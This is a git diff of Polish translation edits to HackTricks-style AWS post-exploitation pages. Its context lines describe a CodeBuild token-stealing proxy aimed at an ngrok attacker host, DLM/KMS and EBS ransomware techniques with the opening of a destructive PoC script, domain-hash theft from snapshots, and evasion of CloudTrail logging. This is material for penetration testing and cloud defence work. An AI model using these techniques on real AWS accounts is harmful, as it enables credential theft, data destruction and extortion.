### ~~Via HTTP protocol~~ -> [!TIP] > **Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już z niej korzystać :)** +> [!TIP] > **Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już tego nadużywać :)** -Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby wyciekować token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**. +Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby ujawnić token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**. - Atakujący mógłby dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`). @@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Następnie kliknij **Zbuduj projekt** lub rozpocznij budowę z linii poleceń: +- Następnie kliknij na **Zbuduj projekt** lub rozpocznij budowę z linii poleceń: ```sh aws codebuild start-build --project-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index 9e6752fd3..6e7d9ab9d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -1,18 +1,18 @@ -# AWS - DLM Post Exploitation +# AWS - DLM Po Eksploatacji {{#include ../../../banners/hacktricks-training.md}} -## Menedżer cyklu życia danych (DLM) +## Menedżer Cyklu Życia Danych (DLM) ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS, a następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę. +Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS i następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę. -Najpierw użyje się polecenia, aby zebrać informacje o wolumenach, takie jak ID instancji, ID wolumenu, status szyfrowania, status załączenia i typ wolumenu. +Najpierw użyje się polecenia, aby zebrać informacje o wolumenach, takie jak ID instancji, ID wolumenu, status szyfrowania, status podłączenia i typ wolumenu. `aws ec2 describe-volumes` -Następnie stworzy się politykę cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowano również konkretne tagi do migawek i skopiowano tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary. +Następnie stworzy się politykę cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowuje również określone tagi do migawek i kopiuje tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index 0d7cffae0..56ebc3ca5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź: ### `dynamodb:BatchGetItem` -Atakujący z tymi uprawnieniami będzie w stanie **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (`describe-table`). +Atakujący z tymi uprawnieniami będzie mógł **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -242,7 +242,7 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Potencjalny wpływ:** Wykorzystanie dalszych luk/bypassów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB +**Potencjalny wpływ:** Wykorzystanie dalszych luk/bypasów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB ### `dynamodb:DeleteTable` @@ -269,7 +269,7 @@ aws dynamodb delete-backup \ > [!NOTE] > TODO: Przetestować, czy to rzeczywiście działa -Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć strumieniowanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych. +Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych. 1. Włącz strumień na tabeli DynamoDB: ```bash @@ -284,7 +284,7 @@ bashCopy codeaws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Uzyskaj iterator shard za pomocą ARN strumienia: +3. Uzyskaj iterator shardów za pomocą ARN strumienia: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ --stream-arn \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 81be94ee8..15e72dc73 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź: ### **Złośliwe Lustro VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -Lustrowanie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania intruzów w sieci (IDS) w celu analizy i monitorowania.\ +Lustrowanie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania włamań (IDS) w celu analizy i monitorowania.\ Napastnik mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania wrażliwych informacji: Aby uzyskać więcej informacji, sprawdź tę stronę: @@ -81,7 +81,7 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por ``` ### Privesc do ECS -Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchamiania instancji ECS, a następnie kradzież danych instancji ECS. +Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchomienia instancji ECS, a następnie kradzież danych instancji ECS. Dla [**więcej informacji sprawdź to**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). @@ -110,7 +110,7 @@ aws ssm start-session --target "$INSTANCE_ID" ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Zaktualizuj pole `server` w pliku `$HOME/.kube/config`, aby wskazywało na `https://localhost` +6. Zaktualizuj pole `server` w pliku `$HOME/.kube/config`, aby wskazywało na `https://localhost` 7. Utwórz tunel SSM w następujący sposób: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region @@ -137,7 +137,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach dotyczących post-exploitation S3. KMS powinno być przemianowane na RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest używać go do szyfrowania różnych usług AWS. +Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach dotyczących post-exploitation S3. KMS powinno być przemianowane na RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest go używać do szyfrowania różnych usług AWS. Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby zezwolić na użycie klucza przez dowolny AWS account Principal. W tej polityce klucza nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption'. ``` @@ -328,11 +328,11 @@ Poczekaj chwilę, aż nowa polityka klucza zostanie rozpropagowana. Następnie w ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Jednak gdy spróbujesz faktycznie uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie z stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala. +Jednak gdy spróbujesz rzeczywiście uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie z stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -To jest skrypt w Pythonie, który jest używany. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywrócić do ich oryginalnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia. +To jest skrypt w Pythonie, który jest używany. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywracając je do ich oryginalnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia. ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 13a6e2d06..35334148a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -124,7 +124,7 @@ ls /mnt Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hashe wszystkich użytkowników domeny, tworząc **snapshot Kontrolera Domeny**, montując go do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz SYSTEM** rejestru do użycia z projektem secretsdump Impacket. -Możesz użyć tego narzędzia do automatyzacji ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu. +Możesz użyć tego narzędzia do zautomatyzowania ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu. ## References diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index 00b2e3e01..d0af620b0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -2,11 +2,11 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Sprawdź** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **po więcej szczegółów na temat ataku!** +**Sprawdź** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **po więcej szczegółów dotyczących ataku!** Pasywna inspekcja sieci w środowisku chmurowym była **wyzwaniem**, wymagającym dużych zmian konfiguracyjnych w celu monitorowania ruchu sieciowego. Jednak nowa funkcja zwana “**VPC Traffic Mirroring**” została wprowadzona przez AWS, aby uprościć ten proces. Dzięki VPC Traffic Mirroring ruch sieciowy w VPC może być **duplikowany** bez instalowania jakiegokolwiek oprogramowania na samych instancjach. Ten zduplikowany ruch może być wysyłany do systemu wykrywania intruzów w sieci (IDS) w celu **analizy**. -Aby zaspokoić potrzebę **automatyzacji wdrożenia** niezbędnej infrastruktury do mirroringu i eksfiltracji ruchu VPC, opracowaliśmy skrypt proof-of-concept o nazwie “**malmirror**”. Skrypt ten może być używany z **skompromentowanymi poświadczeniami AWS** do skonfigurowania mirroringu dla wszystkich obsługiwanych instancji EC2 w docelowym VPC. Ważne jest, aby zauważyć, że VPC Traffic Mirroring jest obsługiwane tylko przez instancje EC2 zasilane systemem AWS Nitro, a cel lustra VPC musi znajdować się w tym samym VPC co lustrowane hosty. +Aby zaspokoić potrzebę **automatyzacji wdrożenia** niezbędnej infrastruktury do mirroringu i eksfiltracji ruchu VPC, opracowaliśmy skrypt proof-of-concept o nazwie “**malmirror**”. Skrypt ten może być używany z **skompromentowanymi poświadczeniami AWS** do skonfigurowania mirroringu dla wszystkich obsługiwanych instancji EC2 w docelowym VPC. Ważne jest, aby zauważyć, że VPC Traffic Mirroring jest obsługiwany tylko przez instancje EC2 zasilane systemem AWS Nitro, a cel lustra VPC musi znajdować się w tym samym VPC co lustrowane hosty. **Wpływ** złośliwego mirroringu ruchu VPC może być znaczący, ponieważ pozwala atakującym na dostęp do **wrażliwych informacji** przesyłanych w VPC. **Prawdopodobieństwo** takiego złośliwego mirroringu jest wysokie, biorąc pod uwagę obecność **ruchu w postaci czystego tekstu** przepływającego przez VPC. Wiele firm używa protokołów w postaci czystego tekstu w swoich sieciach wewnętrznych z powodów **wydajnościowych**, zakładając, że tradycyjne ataki typu man-in-the-middle nie są możliwe. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index f01a1489a..1b7164782 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - ECR Po Eksploatacji +# AWS - ECR Post Exploitation {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 1bae1ed5f..07dccd7c3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - EKS Po Eksploatacji +# AWS - EKS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ Aby uzyskać więcej informacji, sprawdź ../aws-services/aws-eks-enum.md {{#endref}} -### Wyliczanie klastra z konsoli AWS +### Enumeracja klastra z konsoli AWS Jeśli masz uprawnienia **`eks:AccessKubernetesApi`**, możesz **wyświetlać obiekty Kubernetes** za pośrednictwem konsoli AWS EKS ([Dowiedz się więcej](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). @@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev ``` - Nie tak łatwy sposób: -Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name `**, ale nie masz uprawnień do uzyskania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpoint do połączenia** (jeśli udało ci się uzyskać token JWT z podu, przeczytaj [tutaj](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwę klastra**. +Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name `**, ale nie masz uprawnień do uzyskania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpointu do połączenia** (jeśli udało ci się uzyskać token JWT z podu, przeczytaj [tutaj](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwy klastra**. W moim przypadku nie znalazłem informacji w logach CloudWatch, ale **znalazłem je w LaunchTemplates userData** oraz w **maszynach EC2 w userData również**. Możesz łatwo zobaczyć te informacje w **userData**, na przykład w następnym przykładzie (nazwa klastra to cluster-name): ```bash @@ -72,7 +72,7 @@ provideClusterInfo: false ### Z AWS do Kubernetes -**Twórca** **klastra EKS** **ZAWSZE** będzie mógł uzyskać dostęp do części klastra kubernetes w grupie **`system:masters`** (admin k8s). W momencie pisania tego tekstu **nie ma bezpośredniego sposobu** na ustalenie **kto stworzył** klaster (możesz sprawdzić CloudTrail). I **nie ma sposobu** na **usunięcie** tego **przywileju**. +**Twórca** **klastra EKS** **ZAWSZE** będzie mógł uzyskać dostęp do części klastra kubernetes **`system:masters`** (admin k8s). W momencie pisania tego tekstu **nie ma bezpośredniego sposobu** na ustalenie **kto stworzył** klaster (możesz sprawdzić CloudTrail). I **nie ma sposobu** na **usunięcie** tego **przywileju**. Sposobem na przyznanie **dostępu do K8s dla większej liczby użytkowników lub ról AWS IAM** jest użycie **configmap** **`aws-auth`**. @@ -93,7 +93,7 @@ Dekodując token JWT, uzyskujemy identyfikator klastra oraz region. ![image](htt ```bash https://...eks.amazonaws.com ``` -Nie znalazłem żadnej dokumentacji, która wyjaśniałaby kryteria dla 'dwóch znaków' i 'liczby'. Ale robiąc kilka testów na własną rękę, zauważyłem, że te się powtarzają: +Nie znalazłem żadnej dokumentacji, która wyjaśniałaby kryteria dla 'dwóch znaków' i 'liczby'. Jednak przeprowadzając kilka testów na własną rękę, zauważyłem, że te się powtarzają: - gr7 - yl4 @@ -123,7 +123,7 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### Ominięcie CloudTrail -Jeśli atakujący uzyska poświadczenia AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak wcześniej wyjaśniono, **`get-token`** nie generuje logów w Cloudtrail, ponieważ nie wchodzi w interakcję z API AWS (po prostu tworzy token lokalnie). +Jeśli atakujący uzyska poświadczenia AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak wcześniej wyjaśniono, **`get-token`** nie generuje logów w CloudTrail, ponieważ nie wchodzi w interakcję z API AWS (po prostu tworzy token lokalnie). Więc kiedy atakujący rozmawia z klastrem EKS, **cloudtrail nie zarejestruje nic związanego z użytkownikiem, który został skradziony i uzyskuje do niego dostęp**. @@ -131,9 +131,9 @@ Zauważ, że **klaster EKS może mieć włączone logi**, które zarejestrują t ### EKS Okup? -Domyślnie **użytkownik lub rola, która utworzyła** klaster **ZAWSZE będzie miała uprawnienia administratora** do klastra. I to jedyny "bezpieczny" dostęp, jaki AWS będzie miał do klastra Kubernetes. +Domyślnie **użytkownik lub rola, która utworzyła** klaster **ZAWSZE będzie miała uprawnienia administratora** do klastra. I że jedynym "bezpiecznym" dostępem, jaki AWS będzie miał do klastra Kubernetes. -Więc, jeśli **atakujący przejmie kontrolę nad klastrem używając fargate** i **usunie wszystkich innych administratorów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **zażądać okupu za klaster**~~**r**. +Więc, jeśli **atakujący przejmie klaster używając Fargate** i **usunie wszystkich innych administratorów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **zażądać okupu za klaster**~~**r**. > [!TIP] > Zauważ, że jeśli klaster używał **maszyn EC2**, możliwe byłoby uzyskanie uprawnień administratora z **Węzła** i odzyskanie klastra. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 137be38b7..9d8d414dd 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -15,7 +15,7 @@ Aby uzyskać więcej informacji: > [!NOTE] > TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia -Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplicationVersion` może **usunąć istniejącą wersję aplikacji**. Działanie to może zakłócić procesy wdrażania aplikacji lub spowodować utratę konkretnych wersji aplikacji, jeśli nie są one zabezpieczone. +Atakujący z uprawnieniem `elasticbeanstalk:DeleteApplicationVersion` może **usunąć istniejącą wersję aplikacji**. Działanie to może zakłócić procesy wdrażania aplikacji lub spowodować utratę konkretnych wersji aplikacji, jeśli nie są one zabezpieczone. ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` @@ -35,9 +35,9 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env ### `elasticbeanstalk:DeleteApplication` > [!NOTE] -> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia +> TODO: Sprawdzić, czy wymagane są dodatkowe uprawnienia -Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplication` może **usunąć całą aplikację Elastic Beanstalk**, w tym wszystkie jej wersje i środowiska. Działanie to może spowodować znaczne straty zasobów aplikacji i konfiguracji, jeśli nie są one zabezpieczone. +Napastnik z uprawnieniem `elasticbeanstalk:DeleteApplication` może **usunąć całą aplikację Elastic Beanstalk**, w tym wszystkie jej wersje i środowiska. Działanie to może spowodować znaczne straty zasobów aplikacji i konfiguracji, jeśli nie zostały one zabezpieczone. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` @@ -57,7 +57,7 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Sprawdź, czy wymagane są dodatkowe uprawnienia +> TODO: Przetestować, czy wymagane są dodatkowe uprawnienia Atakujący z uprawnieniami `elasticbeanstalk:AddTags` i `elasticbeanstalk:RemoveTags` może **dodawać lub usuwać tagi na zasobach Elastic Beanstalk**. Działanie to może prowadzić do niewłaściwej alokacji zasobów, rozliczeń lub zarządzania zasobami. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 89d94121c..20ef41a3f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -18,7 +18,7 @@ Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w swoim koncie, moż
-Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł to zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, to **zapobiega B nadużywaniu A, aby uzyskać dostęp do twojej roli**. +Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł go zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, to **zapobiega B nadużywaniu A do uzyskania dostępu do twojej roli**. Przykład: ```json @@ -62,7 +62,7 @@ Ta polityka **zezwala wszystkim AWS** na przyjęcie roli. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway do wywołania tego Lambda. +Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway do wywołania tej Lambdy. #### S3 jako główny ```json @@ -73,7 +73,7 @@ Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway d } } ``` -Jeśli kubeł S3 jest podany jako główny, ponieważ kubełki S3 nie mają identyfikatora konta, jeśli **usunąłeś swój kubeł, a atakujący go stworzył** na swoim koncie, mogliby to wykorzystać. +Jeśli kubeł S3 jest podany jako główny, ponieważ kubeł S3 nie ma identyfikatora konta, jeśli **usunięto twój kubeł, a atakujący go stworzył** na swoim koncie, to mogliby to wykorzystać. #### Nieobsługiwane ```json diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 1e6178dd2..0ce282ed8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -65,7 +65,7 @@ Atakujący z uprzywilejowanym dostępem do KMS mógłby zmodyfikować politykę Wtedy użytkownicy legalnego konta nie będą mogli 